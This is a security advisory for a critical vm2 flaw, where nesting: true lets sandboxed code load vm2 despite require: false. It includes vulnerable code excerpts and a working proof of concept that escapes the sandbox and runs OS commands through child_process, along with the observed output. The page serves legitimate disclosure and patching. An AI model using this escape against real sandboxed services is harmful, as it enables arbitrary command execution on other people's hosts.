VDB
KO
CRITICAL 9.1

GHSA-8hg8-63c5-gwmx

vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution

Details

### Summary

When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.

### Details

The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.

**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:

```js const NESTING_OVERRIDE = Object.freeze({ __proto__: null, vm2: vm2NestingLoader }); ```

**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:

```js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTING_OVERRIDE, // ← injected when nesting:true this._compiler ); ```

**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:

```js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTING_OVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable } // ... } ```

**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:

```js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } } ```

The result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.

This was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that "scripts can create a NodeVM which can require any host module," but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.

### PoC

**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

```js const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(` // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2');

// Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['child_process'] } });

// Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("child_process").execSync("id").toString()' ); `);

console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),... ```

**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):** ``` uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn) ```

The variant with `require: false` also works — the outer VM's require setting has no effect:

```js new NodeVM({ nesting: true, require: false }).run(` const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['child_process'] } }) .run('module.exports = require("child_process").execSync("id").toString()'); `); // uid=1000(akshat) ... ```

Narrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.

### Impact

**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.

**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / vm2
Introduced in: 0 Fixed in: 3.11.1
Fix npm install vm2@3.11.1

References